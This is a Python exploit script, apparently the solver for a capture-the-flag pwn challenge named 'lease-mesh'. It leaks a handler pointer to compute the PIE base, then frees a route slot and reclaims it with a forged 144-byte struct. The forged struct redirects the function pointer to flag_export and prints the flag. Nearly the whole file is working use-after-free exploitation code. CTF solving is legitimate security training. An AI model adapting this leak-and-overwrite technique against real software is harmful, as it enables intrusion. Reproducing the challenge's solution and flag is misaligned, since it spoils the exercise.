#!/usr/bin/env python3
import argparse
import os
import socket
import struct
import subprocess
import sys

ROUTE_MAGIC = 0x4C454153454D4553
APPROVED_ROUTE = 0x51524F4B
ROUTE_SIZE = 144


class Tube:
    def __init__(self, sock=None, proc=None):
        self.sock = sock
        self.proc = proc

    def recv(self, n=4096):
        if self.sock:
            return self.sock.recv(n)
        return os.read(self.proc.stdout.fileno(), n)

    def send(self, data):
        if self.sock:
            self.sock.sendall(data)
        else:
            os.write(self.proc.stdin.fileno(), data)

    def sendline(self, data):
        self.send(data + b"\n")

    def recvuntil(self, marker):
        out = b""
        while marker not in out:
            chunk = self.recv(1)
            if not chunk:
                raise EOFError(out)
            out += chunk
        return out


def symbol_value(binary, name):
    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
    for line in out.splitlines():
        fields = line.split()
        if len(fields) >= 8 and fields[-1] == name:
            return int(fields[1], 16)
    raise RuntimeError(f"symbol not found: {name}")


def connect(args):
    if args.local:
        env = os.environ.copy()
        env["CTF_FLAG"] = args.flag
        proc = subprocess.Popen(
            [args.binary],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            env=env,
        )
        return Tube(proc=proc)
    sock = socket.create_connection((args.host, args.port), timeout=5)
    return Tube(sock=sock)


def choose(io, value):
    io.recvuntil(b">")
    io.sendline(str(value).encode())


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=31338)
    parser.add_argument("--local", action="store_true")
    parser.add_argument("--binary", default="../public/lease-mesh")
    parser.add_argument("--flag", default="caplag{stale_handle_reclaimed_the_route}")
    args = parser.parse_args()

    route_status = symbol_value(args.binary, "route_status")
    flag_export = symbol_value(args.binary, "flag_export")

    io = connect(args)

    choose(io, 1)
    io.recvuntil(b"slot:")
    io.sendline(b"0")
    io.recvuntil(b"name:")
    io.sendline(b"east-mirror")
    io.recvuntil(b"memo:")
    io.sendline(b"leased partner route")

    choose(io, 4)
    io.recvuntil(b"slot:")
    io.sendline(b"0")
    io.recvuntil(b"handler=")
    leaked_handler = int(io.recvuntil(b" approved=")[: -len(b" approved=")], 16)
    pie_base = leaked_handler - route_status
    target = pie_base + flag_export

    choose(io, 2)
    io.recvuntil(b"slot:")
    io.sendline(b"0")

    forged = struct.pack("<Q", ROUTE_MAGIC)
    forged += b"export-reclaim".ljust(24, b"\x00")
    forged += struct.pack("<Q", 0x2605061337)
    forged += struct.pack("<Q", target)
    forged += struct.pack("<I", APPROVED_ROUTE)
    forged += struct.pack("<I", 0)
    forged += b"raw packet reclaimed stale route".ljust(88, b"\x00")
    forged = forged.ljust(ROUTE_SIZE, b"\x00")

    choose(io, 3)
    io.recvuntil(b"raw packet bytes:")
    io.sendline(str(len(forged)).encode())
    io.recvuntil(b"packet payload:")
    io.send(forged)

    choose(io, 5)
    io.recvuntil(b"slot:")
    io.sendline(b"0")
    data = io.recvuntil(b"}")
    flag = data[data.rfind(b"caplag{") :].decode()
    print(flag)


if __name__ == "__main__":
    sys.exit(main())